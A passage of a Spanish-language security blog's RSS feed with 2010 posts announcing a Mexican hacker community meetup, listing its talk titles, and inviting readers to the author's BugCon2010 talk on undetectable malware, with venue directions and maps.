<p><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2011%2F03%2F29%2Fupdating-your-wordpress-blog-in-a-blink%2F&amp;linkname=Updating%20your%20WordPress%20Blog%20in%20a%20blink%21" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2011%2F03%2F29%2Fupdating-your-wordpress-blog-in-a-blink%2F&amp;linkname=Updating%20your%20WordPress%20Blog%20in%20a%20blink%21" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_facebook_messenger" href="https://www.addtoany.com/add_to/facebook_messenger?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2011%2F03%2F29%2Fupdating-your-wordpress-blog-in-a-blink%2F&amp;linkname=Updating%20your%20WordPress%20Blog%20in%20a%20blink%21" title="Facebook Messenger" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2011%2F03%2F29%2Fupdating-your-wordpress-blog-in-a-blink%2F&amp;linkname=Updating%20your%20WordPress%20Blog%20in%20a%20blink%21" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2011%2F03%2F29%2Fupdating-your-wordpress-blog-in-a-blink%2F&amp;linkname=Updating%20your%20WordPress%20Blog%20in%20a%20blink%21" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2011%2F03%2F29%2Fupdating-your-wordpress-blog-in-a-blink%2F&amp;linkname=Updating%20your%20WordPress%20Blog%20in%20a%20blink%21" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_hacker_news" href="https://www.addtoany.com/add_to/hacker_news?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2011%2F03%2F29%2Fupdating-your-wordpress-blog-in-a-blink%2F&amp;linkname=Updating%20your%20WordPress%20Blog%20in%20a%20blink%21" title="Hacker News" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_google_bookmarks" href="https://www.addtoany.com/add_to/google_bookmarks?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2011%2F03%2F29%2Fupdating-your-wordpress-blog-in-a-blink%2F&amp;linkname=Updating%20your%20WordPress%20Blog%20in%20a%20blink%21" title="Google Bookmarks" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_evernote" href="https://www.addtoany.com/add_to/evernote?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2011%2F03%2F29%2Fupdating-your-wordpress-blog-in-a-blink%2F&amp;linkname=Updating%20your%20WordPress%20Blog%20in%20a%20blink%21" title="Evernote" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2011%2F03%2F29%2Fupdating-your-wordpress-blog-in-a-blink%2F&amp;linkname=Updating%20your%20WordPress%20Blog%20in%20a%20blink%21" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_telegram" href="https://www.addtoany.com/add_to/telegram?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2011%2F03%2F29%2Fupdating-your-wordpress-blog-in-a-blink%2F&amp;linkname=Updating%20your%20WordPress%20Blog%20in%20a%20blink%21" title="Telegram" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2011%2F03%2F29%2Fupdating-your-wordpress-blog-in-a-blink%2F&amp;linkname=Updating%20your%20WordPress%20Blog%20in%20a%20blink%21" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_kindle_it" href="https://www.addtoany.com/add_to/kindle_it?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2011%2F03%2F29%2Fupdating-your-wordpress-blog-in-a-blink%2F&amp;linkname=Updating%20your%20WordPress%20Blog%20in%20a%20blink%21" title="Kindle It" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_flipboard" href="https://www.addtoany.com/add_to/flipboard?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2011%2F03%2F29%2Fupdating-your-wordpress-blog-in-a-blink%2F&amp;linkname=Updating%20your%20WordPress%20Blog%20in%20a%20blink%21" title="Flipboard" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_wechat" href="https://www.addtoany.com/add_to/wechat?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2011%2F03%2F29%2Fupdating-your-wordpress-blog-in-a-blink%2F&amp;linkname=Updating%20your%20WordPress%20Blog%20in%20a%20blink%21" title="WeChat" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_instapaper" href="https://www.addtoany.com/add_to/instapaper?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2011%2F03%2F29%2Fupdating-your-wordpress-blog-in-a-blink%2F&amp;linkname=Updating%20your%20WordPress%20Blog%20in%20a%20blink%21" title="Instapaper" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Fhackarandas.com%2Fblog%2F2011%2F03%2F29%2Fupdating-your-wordpress-blog-in-a-blink%2F&#038;title=Updating%20your%20WordPress%20Blog%20in%20a%20blink%21" data-a2a-url="https://hackarandas.com/blog/2011/03/29/updating-your-wordpress-blog-in-a-blink/" data-a2a-title="Updating your WordPress Blog in a blink!"><img src="https://static.addtoany.com/buttons/share_save_120_16.png" alt="Share"></a></p>]]></content:encoded>
					
					<wfw:commentRss>https://hackarandas.com/blog/2011/03/29/updating-your-wordpress-blog-in-a-blink/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>ReuniÃ³n CUM 2010</title>
		<link>https://hackarandas.com/blog/2010/11/23/reunion-cum-2010/</link>
					<comments>https://hackarandas.com/blog/2010/11/23/reunion-cum-2010/#respond</comments>
		
		<dc:creator><![CDATA[ch0ks]]></dc:creator>
		<pubDate>Tue, 23 Nov 2010 22:36:55 +0000</pubDate>
				<category><![CDATA[Conferences]]></category>
		<category><![CDATA[Events]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[comunidad underground]]></category>
		<category><![CDATA[cum]]></category>
		<category><![CDATA[hackarandas]]></category>
		<category><![CDATA[hacker]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[hakim]]></category>
		<category><![CDATA[hkm]]></category>
		<category><![CDATA[infosec]]></category>
		<category><![CDATA[nitrous]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[seguridad]]></category>
		<category><![CDATA[seguridad informatica]]></category>
		<guid isPermaLink="false">http://hackarandas.com/blog/?p=369</guid>

					<description><![CDATA[Hace poco el buen Nitrous me comentÃ³ que se iba a armar una reuniÃ³n del CUM (Comunidad Underground Mexico, no piensen mal) y despues el buen HKM autor del sitio Hakim me comentÃ³ que podÃ­a difundirlo. Bueno, les hago extensiva &#8230; <a href="https://hackarandas.com/blog/2010/11/23/reunion-cum-2010/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
										<content:encoded><![CDATA[<p><img loading="lazy" decoding="async" src="https://hackarandas.com/blog/wp-content/uploads/2010/11/underground1-150x150.jpg" alt="" title="Reunion CUM" width="100" height="100" class="alignleft size-thumbnail wp-image-378" class="size-thumbnail wp-image-370" style="margin: 10px 10px 0pt 0pt; float: left;" /> Hace poco el buen <a href="http://www.brainoverflow.org/">Nitrous</a> me comentÃ³ que se iba a armar una reuniÃ³n del CUM (<a href="https://www.underground.org.mx/">Comunidad Underground Mexico</a>, no piensen mal) y despues el buen <a href="http://twitter.com/_hkm">HKM</a> autor del sitio <a href="http://www.hakim.ws">Hakim</a> me comentÃ³ que podÃ­a difundirlo. </p>
<p>Bueno, les hago extensiva la invitaciÃ³n a la ReuniÃ³n anual del CUM y espero verlos por ahi!</p>
<p><strong>IMPORTANTE:</strong></p>
<p>El cupo es limitado asÃ­ que es necesario que se registren enviando un correo a hkm _AT_ hakim _DOT_ ws, por mensaje privado en el foro de <a href="http://www.underground.org.mx">www.underground.org.mx</a> al usuario <a href="https://www.underground.org.mx/index.php?action=profile;u=2">hkm</a> o en el Twitter de <a href="http://www.twitter.com/_hkm">@_hkm</a>.</p>
<p><strong>La invitaciÃ³n</strong></p>
<blockquote><p>
Es un placer informarles que la ReuniÃ³n &#8220;anual&#8221; de su Comunidad Underground de MÃ©xico se llevarÃ¡ a cabo el prÃ³ximo Viernes 26 de Noviembre de 3pm a 8pm en las nuevas instalaciones del TelmexHUB ubicado en Isabel la Catolica #51.</p>
<p>PLÃTICAS CONFIRMADAS:</p>
<p> 1) DotDotPwn (nitr0us) : Herramienta para encontrar vulnerabilidades de Directory Traversal, disponible en BackTrack 4 R2.</p>
<p> 2) ROP (tr3w) : Programacion orientada al retorno. MÃ©todo para evadir stack no ejecutable (DEP, NX).</p>
<p> 3) Teensy (hkm) : Dispositivo electrÃ³nico para simular un teclado y ejecutar comandos al estilo autorun en cualquier sistema operativo.</p>
<p>4) Ganando concursos en lÃ­nea (webrek) : Viajes, autos y celulares son algunos de los premios ofrecidos en concursos en internet en MÃ©xico. Pero son realmente seguros estos aplicativos?</p>
<p>5) Unpacker genÃ©rico (Psymera) : Como desempacar el RunPE y crear un unpacker genÃ©rico para la mayoria de crypters que usan los lammos.
</p></blockquote>
<p><strong>Â¿CuÃ¡ndo?</strong></p>
<blockquote><p>Viernes 26 de Noviembre Â· 3:00pm &#8211; 8:00pm</p></blockquote>
<p><strong>Â¿DÃ³nde?</strong></p>
<blockquote><p><a href="http://es.wikipedia.org/wiki/Biblioteca_Digital_Bicentenario_Telmex_Hub">Biblioteca Digital Bicentenario Telmex Hub</a><br />
Isabel la Catolica #51 Col Centro.<br />
Ciudad de MÃ©xico, Mexico</p></blockquote>
<p><strong>Estacionamiento PÃºblico</strong></p>
<blockquote><p>Encontraran estacionamiento pÃºblico en la calle Venustiano Carranza como en la calle RepÃºblica de Uruguay</p></blockquote>
<p><strong>El mapita obligado:</strong><br />
<center><br />
<iframe loading="lazy" width="425" height="350" frameborder="0" scrolling="no" marginheight="0" marginwidth="0" src="https://maps.google.com/maps?f=q&amp;source=s_q&amp;hl=en&amp;geocode=&amp;q=Isabel+La+Cat%C3%B3lica+51,+Centro,+Cuauht%C3%A9moc,+Mexico,+M%C3%A9xico&amp;sll=19.429019,-99.136977&amp;sspn=0.006516,0.016512&amp;g=Isabel+La+Cat%C3%B3lica,+Centro,+Cuauht%C3%A9moc,+Mexico,+M%C3%A9xico&amp;ie=UTF8&amp;hq=&amp;hnear=Isabel+La+Cat%C3%B3lica+51,+Centro,+Cuauht%C3%A9moc,+M%C3%A9xico,+Distrito+Federal,+Mexico&amp;ll=19.429069,-99.136966&amp;spn=0.013113,0.033023&amp;z=14&amp;iwloc=A&amp;output=embed"></iframe><br /><small><a href="http://maps.google.com/maps?f=q&amp;source=embed&amp;hl=en&amp;geocode=&amp;q=Isabel+La+Cat%C3%B3lica+51,+Centro,+Cuauht%C3%A9moc,+Mexico,+M%C3%A9xico&amp;sll=19.429019,-99.136977&amp;sspn=0.006516,0.016512&amp;g=Isabel+La+Cat%C3%B3lica,+Centro,+Cuauht%C3%A9moc,+Mexico,+M%C3%A9xico&amp;ie=UTF8&amp;hq=&amp;hnear=Isabel+La+Cat%C3%B3lica+51,+Centro,+Cuauht%C3%A9moc,+M%C3%A9xico,+Distrito+Federal,+Mexico&amp;ll=19.429069,-99.136966&amp;spn=0.013113,0.033023&amp;z=14&amp;iwloc=A" style="color:#0000FF;text-align:left">View Larger Map</a></small><br />
</center></p>
<p>Espero pueda descolgarme de la oficina pero de igual forma todas las plÃ¡ticas prometen mucho y siempre es importante conocer a la gente del medio. Si todo sale como espero espero verlos por alla!</p>
<p>Fuente del Post: <a href="https://www.underground.org.mx/index.php?topic=26138">Foro Underground</a></p>
<p><em>AdriÃ¡n Puente Z.</em></p>
<div style="font-size: 10px; color: #333; font-family: verdana" align=right>Technorati Tags: <a href="http://technorati.com/tag/Adrian Puente Z." rel="tag">Adrian Puente Z.</a> <a href="http://technorati.com/tag/nitrous" rel="tag">nitrous</a> <a href="http://technorati.com/tag/hkm" rel="tag">hkm</a> <a href="http://technorati.com/tag/hakim" rel="tag">hakim</a> <a href="http://technorati.com/tag/Adrian Puente Z. reunion cum" rel="tag">Adrian Puente Z. reunion cum</a> <a href="http://technorati.com/tag/hackarandas" rel="tag">hackarandas</a> <a href="http://technorati.com/tag/underground" rel="tag">underground</a> <a href="http://technorati.com/tag/mexico" rel="tag">mexico</a> <a href="http://technorati.com/tag/" rel="tag"></a> </div>
<p><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F11%2F23%2Freunion-cum-2010%2F&amp;linkname=Reuni%C3%83%C2%B3n%20CUM%202010" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F11%2F23%2Freunion-cum-2010%2F&amp;linkname=Reuni%C3%83%C2%B3n%20CUM%202010" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_facebook_messenger" href="https://www.addtoany.com/add_to/facebook_messenger?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F11%2F23%2Freunion-cum-2010%2F&amp;linkname=Reuni%C3%83%C2%B3n%20CUM%202010" title="Facebook Messenger" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F11%2F23%2Freunion-cum-2010%2F&amp;linkname=Reuni%C3%83%C2%B3n%20CUM%202010" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F11%2F23%2Freunion-cum-2010%2F&amp;linkname=Reuni%C3%83%C2%B3n%20CUM%202010" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F11%2F23%2Freunion-cum-2010%2F&amp;linkname=Reuni%C3%83%C2%B3n%20CUM%202010" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_hacker_news" href="https://www.addtoany.com/add_to/hacker_news?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F11%2F23%2Freunion-cum-2010%2F&amp;linkname=Reuni%C3%83%C2%B3n%20CUM%202010" title="Hacker News" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_google_bookmarks" href="https://www.addtoany.com/add_to/google_bookmarks?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F11%2F23%2Freunion-cum-2010%2F&amp;linkname=Reuni%C3%83%C2%B3n%20CUM%202010" title="Google Bookmarks" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_evernote" href="https://www.addtoany.com/add_to/evernote?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F11%2F23%2Freunion-cum-2010%2F&amp;linkname=Reuni%C3%83%C2%B3n%20CUM%202010" title="Evernote" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F11%2F23%2Freunion-cum-2010%2F&amp;linkname=Reuni%C3%83%C2%B3n%20CUM%202010" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_telegram" href="https://www.addtoany.com/add_to/telegram?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F11%2F23%2Freunion-cum-2010%2F&amp;linkname=Reuni%C3%83%C2%B3n%20CUM%202010" title="Telegram" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F11%2F23%2Freunion-cum-2010%2F&amp;linkname=Reuni%C3%83%C2%B3n%20CUM%202010" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_kindle_it" href="https://www.addtoany.com/add_to/kindle_it?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F11%2F23%2Freunion-cum-2010%2F&amp;linkname=Reuni%C3%83%C2%B3n%20CUM%202010" title="Kindle It" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_flipboard" href="https://www.addtoany.com/add_to/flipboard?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F11%2F23%2Freunion-cum-2010%2F&amp;linkname=Reuni%C3%83%C2%B3n%20CUM%202010" title="Flipboard" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_wechat" href="https://www.addtoany.com/add_to/wechat?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F11%2F23%2Freunion-cum-2010%2F&amp;linkname=Reuni%C3%83%C2%B3n%20CUM%202010" title="WeChat" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_instapaper" href="https://www.addtoany.com/add_to/instapaper?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F11%2F23%2Freunion-cum-2010%2F&amp;linkname=Reuni%C3%83%C2%B3n%20CUM%202010" title="Instapaper" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F11%2F23%2Freunion-cum-2010%2F&#038;title=Reuni%C3%83%C2%B3n%20CUM%202010" data-a2a-url="https://hackarandas.com/blog/2010/11/23/reunion-cum-2010/" data-a2a-title="ReuniÃ³n CUM 2010"><img src="https://static.addtoany.com/buttons/share_save_120_16.png" alt="Share"></a></p>]]></content:encoded>
					
					<wfw:commentRss>https://hackarandas.com/blog/2010/11/23/reunion-cum-2010/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Conferencia HUM – BugCon2010</title>
		<link>https://hackarandas.com/blog/2010/10/28/conferencia-hum-bugcon2010/</link>
					<comments>https://hackarandas.com/blog/2010/10/28/conferencia-hum-bugcon2010/#comments</comments>
		
		<dc:creator><![CDATA[ch0ks]]></dc:creator>
		<pubDate>Thu, 28 Oct 2010 05:06:31 +0000</pubDate>
				<category><![CDATA[Conferences]]></category>
		<category><![CDATA[Events]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Presentations]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[bugcon]]></category>
		<category><![CDATA[Conferencias]]></category>
		<category><![CDATA[hackarandas]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[seguridad]]></category>
		<category><![CDATA[seguridad informatica]]></category>
		<guid isPermaLink="false">http://hackarandas.com/blog/?p=355</guid>

					<description><![CDATA[Quiero invitarlos a mi conferencia de HUM &#8211; Homemade Undetectable Malware que voy a dar en la BugCon2010 este viernes 29 de octubre del 2010. Es parte de lo que dÃ­ en la conferencia del ITESM pero voy a agregarle &#8230; <a href="https://hackarandas.com/blog/2010/10/28/conferencia-hum-bugcon2010/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
										<content:encoded><![CDATA[<p><img loading="lazy" decoding="async" src="https://hackarandas.com/blog/wp-content/uploads/2010/10/bugcon20101.gif" alt="" title="BugCon2010" width="84" height="100" class="alignleft size-full wp-image-357" style="margin: 10px 10px 0pt 0pt; float: left;"/> Quiero invitarlos a mi conferencia de HUM &#8211; Homemade Undetectable Malware que voy a dar en la <a href="http://www.bugcon.org">BugCon2010</a> este viernes 29 de octubre del 2010. Es parte de lo que dÃ­ en la <a href="http://hackarandas.com/blog/2010/08/27/conferencia-hum-homemade-undetectable-malware/">conferencia del ITESM </a>pero voy a agregarle mas contenido y espero ahora si me salgan los demos. Jojojo.</p>
<p>No dejen de ir, hoy iniciÃ³ el congreso pero promete mucho y siempre es padre conocer gente del underground y profesionales de la seguridad informÃ¡tica. Un agradecimiento a <a href="http://www.belindofan.com.ar">Vendetta</a> por facilitar el dÃ­a de la conferencia y allÃ¡ nos vemos.</p>
<p>CÃ³mo llegar:</p>
<blockquote><p>Centro FormaciÃ³n e InnovaciÃ³n Educativa (CFIE): Av. Wilfrido Massieu sin nÃºmero esquina con  Luis Enrique Erro Unidad Profesional â€œAdolfo LÃ³pez Mateosâ€, Zacatenco.</p>
<p>La forma mÃ¡s fÃ¡cil de llegar desde el sur es tomar todo Insurgentes hacia el norte y salir en Av. Montevideo, en Montevideo llegar hasta el cruce con Av. Instituto PolitÃ©cnico Nacional, seguir por Av. PolitÃ©cnico y a una calle empieza Wilfrido Massieu allÃ­ lo reconoceran por que empiezan las rejas guindas del IPN. Seguir por Wilfrideo Massieu, lo mÃ¡s caracterÃ­stico es el planetario que se distingue por ser esfÃ©rico del techo, el edificio al lado es el CFIE, lo reconoceran por una pirÃ¡mide de cristal que tiene en el techo en el frente hay una mantonta azul con la catarina.</p>
<p>Si es en transporte pÃºblico lo mÃ¡s fÃ¡cil es llegar a Metro Lindavista o Metro PolitÃ©cnico, de Metro Lindavista pueden tomar un taxi deben ser como $10, de Metro PolitÃ©cnico tendrÃ­an que caminar como 10 min por que la avenida es en sentido contrario.</p></blockquote>
<p>El mapÃ­sima obligatorio.<br />
<center><br />
<iframe loading="lazy" width="300" height="300" frameborder="0" scrolling="no" marginheight="0" marginwidth="0" src="https://maps.google.com/maps/ms?ie=UTF8&amp;hl=en&amp;msa=0&amp;msid=100455971729034726992.000493a629a247a353355&amp;ll=19.496481,-99.14011&amp;spn=0.003034,0.003219&amp;z=17&amp;output=embed"></iframe><br /><small>View <a href="http://maps.google.com/maps/ms?ie=UTF8&amp;hl=en&amp;msa=0&amp;msid=100455971729034726992.000493a629a247a353355&amp;ll=19.496481,-99.14011&amp;spn=0.003034,0.003219&amp;z=17&amp;source=embed" style="color:#0000FF;text-align:left">BugCon2010</a> in a larger map</small></center></p>
<p><em>AdriÃ¡n Puente Z.</em></p>
<p>Technorati Tags: <a href=http://technorati.com/tag/BugCon2010 rel=tag>BugCon2010</a> <a href=http://technorati.com/tag/hackarandas rel=tag>hackarandas</a> <a href=http://technorati.com/tag/Adrian+Puente+Z. rel=tag>Adrian Puente Z.</a> <a href=http://technorati.com/tag/HUM rel=tag>HUM</a> <a href=http://technorati.com/tag/Homemade+Undetectable+Malware rel=tag>Homemade Undetectable Malware</a> <a href=http://technorati.com/tag/conferencia rel=tag>conferencia</a> </p>
<p><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F10%2F28%2Fconferencia-hum-bugcon2010%2F&amp;linkname=Conferencia%20HUM%20%E2%80%93%20BugCon2010" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F10%2F28%2Fconferencia-hum-bugcon2010%2F&amp;linkname=Conferencia%20HUM%20%E2%80%93%20BugCon2010" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_facebook_messenger" href="https://www.addtoany.com/add_to/facebook_messenger?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F10%2F28%2Fconferencia-hum-bugcon2010%2F&amp;linkname=Conferencia%20HUM%20%E2%80%93%20BugCon2010" title="Facebook Messenger" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F10%2F28%2Fconferencia-hum-bugcon2010%2F&amp;linkname=Conferencia%20HUM%20%E2%80%93%20BugCon2010" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F10%2F28%2Fconferencia-hum-bugcon2010%2F&amp;linkname=Conferencia%20HUM%20%E2%80%93%20BugCon2010" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F10%2F28%2Fconferencia-hum-bugcon2010%2F&amp;linkname=Conferencia%20HUM%20%E2%80%93%20BugCon2010" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_hacker_news" href="https://www.addtoany.com/add_to/hacker_news?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F10%2F28%2Fconferencia-hum-bugcon2010%2F&amp;linkname=Conferencia%20HUM%20%E2%80%93%20BugCon2010" title="Hacker News" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_google_bookmarks" href="https://www.addtoany.com/add_to/google_bookmarks?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F10%2F28%2Fconferencia-hum-bugcon2010%2F&amp;linkname=Conferencia%20HUM%20%E2%80%93%20BugCon2010" title="Google Bookmarks" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_evernote" href="https://www.addtoany.com/add_to/evernote?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F10%2F28%2Fconferencia-hum-bugcon2010%2F&amp;linkname=Conferencia%20HUM%20%E2%80%93%20BugCon2010" title="Evernote" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F10%2F28%2Fconferencia-hum-bugcon2010%2F&amp;linkname=Conferencia%20HUM%20%E2%80%93%20BugCon2010" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_telegram" href="https://www.addtoany.com/add_to/telegram?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F10%2F28%2Fconferencia-hum-bugcon2010%2F&amp;linkname=Conferencia%20HUM%20%E2%80%93%20BugCon2010" title="Telegram" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F10%2F28%2Fconferencia-hum-bugcon2010%2F&amp;linkname=Conferencia%20HUM%20%E2%80%93%20BugCon2010" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_kindle_it" href="https://www.addtoany.com/add_to/kindle_it?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F10%2F28%2Fconferencia-hum-bugcon2010%2F&amp;linkname=Conferencia%20HUM%20%E2%80%93%20BugCon2010" title="Kindle It" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_flipboard" href="https://www.addtoany.com/add_to/flipboard?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F10%2F28%2Fconferencia-hum-bugcon2010%2F&amp;linkname=Conferencia%20HUM%20%E2%80%93%20BugCon2010" title="Flipboard" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_wechat" href="https://www.addtoany.com/add_to/wechat?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F10%2F28%2Fconferencia-hum-bugcon2010%2F&amp;linkname=Conferencia%20HUM%20%E2%80%93%20BugCon2010" title="WeChat" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_instapaper" href="https://www.addtoany.com/add_to/instapaper?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F10%2F28%2Fconferencia-hum-bugcon2010%2F&amp;linkname=Conferencia%20HUM%20%E2%80%93%20BugCon2010" title="Instapaper" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F10%2F28%2Fconferencia-hum-bugcon2010%2F&#038;title=Conferencia%20HUM%20%E2%80%93%20BugCon2010" data-a2a-url="https://hackarandas.com/blog/2010/10/28/conferencia-hum-bugcon2010/" data-a2a-title="Conferencia HUM – BugCon2010"><img src="https://static.addtoany.com/buttons/share_save_120_16.png" alt="Share"></a></p>]]></content:encoded>
					
					<wfw:commentRss>https://hackarandas.com/blog/2010/10/28/conferencia-hum-bugcon2010/feed/</wfw:commentRss>
			<slash:comments>2</slash:comments>
		
		
			</item>
		<item>
		<title>Conferencia: HUM – Homemade Undetectable Malware</title>
		<link>https://hackarandas.com/blog/2010/08/27/conferencia-hum-homemade-undetectable-malware/</link>
					<comments>https://hackarandas.com/blog/2010/08/27/conferencia-hum-homemade-undetectable-malware/#comments</comments>
		
		<dc:creator><![CDATA[ch0ks]]></dc:creator>
		<pubDate>Fri, 27 Aug 2010 05:10:53 +0000</pubDate>
				<category><![CDATA[Events]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Presentations]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[arturo garcia]]></category>
		<category><![CDATA[elprofeseguro]]></category>
		<category><![CDATA[hackarandas]]></category>
